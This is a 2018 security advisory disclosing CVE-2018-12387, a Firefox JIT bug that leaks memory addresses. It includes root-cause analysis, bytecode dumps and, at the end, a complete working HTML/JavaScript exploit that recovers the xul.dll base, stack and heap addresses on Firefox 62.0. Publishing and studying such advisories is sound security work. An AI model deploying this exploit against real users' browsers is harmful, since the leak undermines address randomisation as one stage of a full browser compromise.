SSD Advisory – Firefox Information Leak
Credit to Author: SSD / Ori Nimron| Date: Tue, 09 Oct 2018 08:55:15 +0000
Vulnerabilities Summary
A vulnerability where the JavaScript JIT compiler inlines Array.prototype.push with multiple arguments that results in the stack pointer being off by 8 bytes after a bailout. This leaks a memory address to the calling function which can be used as part of an exploit inside the sandboxed content process.
Vendor Response
“Security vulnerabilities fixed in Firefox 62.0.3 and Firefox ESR 60.2.2”
CVE
CVE-2018-12387
Credit
Independent security researchers, Bruno Keith and Niklas Baumstark, have reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
Firefox 62.0
Firefox ESR 60.2
Vulnerability Details
While fuzzing Spidermonkey (Mozilla’s JavaScript engine written in C++), we trigger a debug assertion with the following minimized sample:
which triggered the following assertion:
1 2 | Assertion failure: isObject() and crashes in release build |
Root Cause Analysis
The assertion described above happens while running the code generated by the JIT compiler for the function f.
Let’s look at the Intermediate representation (IR) of the JIT code:
We can see two instructions arraypusht. This can be explained looking at the code responsible for inlining calls to Array.prototype.push implemented at https://dxr.mozilla.org/mozilla-central/source/js/src/jit/MCallOptimize.cpp#812 The comments inside the function mention that a call to push with multiple argument will be broken down into multiple individual arraypush{t,v} instructions. However there is some complicated logic associated with bailouts where they wish to preserve the atomicity of the call and not resume execution in-between inlined calls to push. The assertion is triggered because the stack pointer is not correctly restored when bailing out from IonMonkey to the baseline JIT and will be off by 8 bytes and hence lead to a JS_IS_CONSTRUCTING value to be fetched from the stack instead of the Boolean class.
By understanding the failure condition, we know that we need to look for opcode handlers in BaselineCompiler.cpp that perform a syncStack(0) and then address stack values via peek(). An interesting one is BaselineCompiler::emit_JSOP_INITPROP:
1 2 3 4 5 6 7 8 9 10 | // Load lhs in R0, rhs in R1. frame.syncStack(0); masm.loadValue(frame.addressOfStackValue(frame.peek(–2)), R0); masm.loadValue(frame.addressOfStackValue(frame.peek(–1)), R1); // Call IC. ICSetProp_Fallback::Compiler compiler(cx); if (!emitOpIC(compiler.getStub(&stubSpace_))) return false; // Leave the object on the stack. frame.pop(); |
This opcode is emitted for the following JavaScript code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | function f() { var y = {}; var o = { a: y }; } dis(f); /* bytecode: 00000: newobject ({}) # OBJ 00005: setlocal 0 # OBJ 00009: pop # 00010: newobject ({a:(void 0)}) # OBJ 00015: getlocal 0 # OBJ y 00019: initprop “a” # OBJ 00024: setlocal 1 # OBJ 00028: pop # 00029: retrval # */ |
The handler tells us how this opcode gets compiled: R0 is set to stack[top-1] = o, R1 is set to stack[top] = y, then the property assignment R0.a = R1 is performed by an inline cache. Due to the shifted stack however, in the following code, the assignment stack[top].a = stack[top+1] is performed, so a JSValue is fetched from outside the stack. Due to NaN-boxing, a native pointer value will be treated as a double in this context.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | var test = { a: 13.37 }; function f(o) { var a = [o]; a.length = a[0]; var useless = function () {} useless + useless; var sz = Array.prototype.push.call(a, 1337, 43); (function () { sz })(); var o = { a: test }; } dis(f); for (var i = 0; i < 25000; i++) { f(1); } f(100); print(test.a); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | /* bytecode: ... 00034: lambda function() {} # FUN 00039: setlocal 1 # FUN 00043: pop # 00044: getlocal 1 # useless 00048: getlocal 1 # useless useless 00052: add # (useless + useless) 00053: pop # 00054: getgname “Array” # Array 00059: getprop “prototype” # Array.prototype 00064: getprop “push” # Array.prototype.push 00069: dup # Array.prototype.push Array.prototype.push 00070: callprop “call” # Array.prototype.push Array.prototype.push.call 00075: swap # Array.prototype.push.call Array.prototype.push 00076: getlocal 0 # Array.prototype.push.call Array.prototype.push a 00080: uint16 1337 # Array.prototype.push.call Array.prototype.push a 1337 00083: int8 43 # Array.prototype.push.call Array.prototype.push a 1337 43 00085: funcall 3 # Array.prototype.push.call(…) ... 00104: newobject ({a:(void 0)}) # OBJ 00109: getgname “test” # OBJ test 00114: initprop “a” # OBJ 00119: setarg 0 # OBJ 00122: pop # 00123: retrval # |
Instruction 48 is there only to place a function on the stack so that the funcall instruction 85 does not throw an exception because it expects to fetch Array.prototype.push.call from the stack, but is off by 8. This prints 2.11951350117067e-310 on our system, which is the double representation of the integer value 0x27044d565235, which is a return address. The final exploit leverages this to leak a heap address, stack address as well as the base address of xul.dll.
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | <script> var convert = new ArrayBuffer(0x100); var u32 = new Uint32Array(convert); var f64 = new Float64Array(convert); var BASE = 0x100000000; function i2f(x) { u32[0] = x % BASE; u32[1] = (x – (x % BASE)) / BASE; /// return f64[0]; } function f2i(x) { f64[0] = x; return u32[0] + BASE * u32[1]; } function hex(x) { return `0x${x.toString(16)}` } var test = {a:0x1337}; function gen(m) { var expr = ‘1+(‘.repeat(m) + ‘{a:y}’ + ‘)’.repeat(m); var code = ` f = function(o) { var y = test; var a = [o]; a.length = a[0]; var useless = function() { } useless + useless + useless + useless + useless + useless; var sz = Array.prototype.push.call(a, 1337, 43); (function() { sz; })(); var o = ${expr}; } `; eval(code); } VERSION = ‘62.0’; function exploit() { var xul = 0; var stack = 0; var heap = 0; var leak = []; for (var i = 20; i >= 0; —i) { gen(i); for (var j = 0; j < 10000; j++) { f(1); } f(100); var x = f2i(test.a); leak.push(x); } function xulbase(addr) { if (VERSION == ‘62.0’) { var offsets = [ 0x92fe34, 0x3bd4108, ]; } else { alert(‘Unknown version: ‘ + VERSION); throw null; } var res = 0; offsets.forEach((offset) => { if (offset % 0x1000 == addr % 0x1000) { res = addr – offset; } }); return res; } xul = xulbase(leak[1]); stack = leak[0]; heap = leak[3]; var el = document.createElement(‘pre’); el.innerText = ( “XUL.dll base: “ + hex(xul) + “n” + “Stack: “ + hex(stack) + “n” + “Heap: “ + hex(heap) + “n” + “nFull leak:n” + leak.map(hex).join(“n”)) document.body.appendChild(el); } </script> <button onclick=“exploit()”>Go</button> |